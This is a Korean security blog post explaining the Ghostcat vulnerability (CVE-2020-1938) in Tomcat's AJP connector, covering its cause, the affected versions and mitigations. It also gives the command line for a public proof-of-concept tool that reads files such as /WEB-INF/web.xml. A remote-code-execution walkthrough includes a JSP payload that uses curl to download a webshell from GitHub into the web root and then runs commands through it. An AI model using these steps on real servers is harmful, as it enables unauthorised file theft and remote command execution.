정보보안/Web

Ghostcat : Tomcat-Ajp (CVE-2020-1938)

구구닥스 2020. 7. 22. 17:21

프로젝트 중 통칭 Ghostcat 취약점을 사용할 수 있는 버전의 Tomcat 버전이 나와서 시도해봤더니 성공했다.

 

공격 python 코드는 Github에 올라온 POC 코드를 사용했고 그 이외에는 정말 기본적인 대상 정보만 알면 대상 webapp 이하의 소스코드 및 데이터를 내려받을 수 있는 취약점이였다.

 

연초에 핫한 취약점이여서 대충 들여다만 봤었는데 오늘 해보니 제대로 이해할 필요가 있어서 정리해 본다.

발생 원인

그럼 우선 근본적으로 취약점이 발생하는 AJP 프로토콜이 무엇인가, 왜 쓰이는가?


AJP 프로토콜이란 Apache JServ Protocol로 Web 서버에서 전달받은 요청을 WAS로 전달해주는 프로토콜이다.
해당 프로토콜은 Apache HTTP Server, Apahce Tomcat,  웹스피어, 웹로직, JBOSS, JEUS, 등 다양한 WAS에서 지원한다. 


아파치는 이를 사용하여 80포트로 들어오는 요청은 자신이 받고, 이 요청 중 서블릿을 필요로 하는 요청은 톰캣에 접속하여 처리한다.
아파치는 톰캣 연동을 위해 mod_jk라는 모듈을 사용할건데, 이는 AJP 프로토콜을 사용하여 톰캣과 연동하기 위해 만들어진 모듈이다. mod_jk는 톰캣의 일부로 배포되지만, 아파치 웹서버에 설치하기도 한다.

처리 플로우를 보면


1)아파치 웹서버의 httpd.conf 에 톰캣 연동을 위한 설정을 추가하고 톰캣에서 처리할 요청을 지정함.
2)사용자의 브라우저는 아파치 웹서버(보통 80포트)에 접속해 요청
3)아파치 웹서버는 사용자의 요청이 톰캣에서 처리하도록 지정된 요청인지 확인. 요청을 톰캣에서 처리해야 하는 경우 
  아파치 웹서버는 톰캣의 AJP포트(보통 8009포트)에 접속해 요청을 전달
4)톰캣은 아파치 웹서버로부터 요청을 받아 처리한 후, 처리 결과를 아파치 웹서버에 되돌려줌
5)아파치 웹서버는 톰캣으로부터 받은 처리 결과를 사용자에게 전송


출처: https://joont.tistory.com/55 [Toward the Developer]

 

Tomcat은 기본적으로 conf/server.xml에 2개의 Connector가 설정되어 있다. 한 개는 외부로 HTTP 프로토콜을 전송하는 8080 포트이고, 또 다른 한 개는 AJP 프로토콜의 8009 포트이다. 이 두 포트는 디폴트로 외부망 ip를 수신한다.

Tomcat이 ajp request를 받았을 경우, org.apache.coyote.ajp.AjpProcessor를 호출하여 ajp 메세지를 처리하는데, prepareRequest는 ajp내의 내용을 추출하여 request객체의 Attribute 속성으로 설정한다.

그렇기 때문에 이러한 특성을 통해 request 객체의 다음 3개 Attribute 속성을 제어할 수 있다.

 javax.servlet.include.request_uri
 javax.servlet.include.path_info
 javax.servlet.include.servlet_path

취약 버전

o Apache Tomcat
  - 9.0.0.M1 ~ 9.0.30
  - 8.5.0 ~ 8.5.50
  - 7.0.0 ~ 7.0.99


출처: https://blog.alyac.co.kr/2772 [이스트시큐리티 알약 블로그]

 

 

즉 아파치와 톰캣이 서로 연동하기위해 8009포트를 기본값으로 사용하고 열어두고 있다는 것을 알 수 있다.

 

GhostCat에서는 이 8009포트를 이용하여 공격한다.

 

공격 구문은 GitHub에 POC된 코드를 사용했다.

 

https://github.com/00theway/Ghostcat-CNVD-2020-10487

 

00theway/Ghostcat-CNVD-2020-10487

Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938) - 00theway/Ghostcat-CNVD-2020-10487

github.com

공격 방법은 아래와 같다.


python ajpShooter.py http://[주소] 8009 [다운로드 할 소스코드 명] [모드]

EX) python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read

 

다만 추측가능한 경로의 소스코드만 다운로드 가능하다. MVC모델을 사용해서 소스코드 이름을 추측 불가능하게 한다면 다운받을 방법이 없다. 그러나 기본적으로 사용되는 설정 파일만으로도 연계되어 다른 공격이 가능할 수 있기 때문에 충분히 위험도가 큰 취약점이다.

 

내가 수행한 프로젝트에서는 서버단에서 확장자를 판단하고 있어서 화이트리스트 외의 확장자는 전부 필터링 되었기 때문에 txt 확장자도 올릴 수 없어서 원격코드 실행 취약점은 불가능했다.

 

원격코드 실행


1. 원격 코드 취약점은 보통의 일반적인 웹 서비스에서 확장자 필터링은 jsp나 asp, php와 같은 소스코드 확장자를 필터링하는데 이를 우회하기 위하여 공격구문을 포함한 txt를 업로드한다.

[<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>]  // 윈도우

Linux의 경우 "wget URL"로 대체 



2. txt가 지정한 위치에 정확히 업로드 되었는지 read로 확인해본다.


3. 지정한 위치에 업로드가 되었다면 eval로 해당 txt에 담긴 명령어를 실행시키고 다운로드 된 웹쉘을 통해 명령어를 실행시키면 된다.


실행시키면 cmd.txt에 적은 구문이 실행되기 때문에
github에 있는 cmd.jsp가 지정한 위치인 webapps\\ROOT에 저장되어 이 부분을

http://127.0.0.1/cmd.jsp?cmd=[command] 로 접근하여 명령어를 실행한다.

출처 : https://ddungkill.tistory.com/129




 

 

대응 방안으로는

1. AJP 프로토콜을 사용하지 않는 경우

 

<CATALINA_BASE> /conf/server.xml 파일 내 AJP 프로토콜 설정 주석처리 또는 삭제


<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->

 

 

2. AJP 프로토콜을 사용하는 경우

 

2-1 최신버전 업데이트 후

<CATALINA_BASE> /conf/server.xml 파일 내 AJP 프로토콜 인증설정


<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

2-2 최신버전 업데이트 불가한 경우


<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

 

를 권장한다.

 

 

 

해보면서 느낀 점은 정말 간단하고 POC 코드도 존재해서 쉽게 접근할 수 있었다. 또한 서비스 운영자들이 생각보다 이런 취약점에 대해 무지하기 때문에 취약한 서비스들이 많을 것으로 보이고 앞으로도 계속 시도해보면 적지않은 서비스들이 이 취약점에 해당할 것 같다.

 

 

 

 

테스트는 본인 서버에만 시도하길 바라며 모든 행위에는 본인 스스로가 책임 진다.

'정보보안 > Web' 카테고리의 다른 글

XSS - Backtick(`)  (1) 2020.10.21
XSS로 HTTP ONLY 우회하여 세션 탈취하기  (0) 2020.06.02
XSS 진단 및 Cheat Sheet  (1) 2020.01.13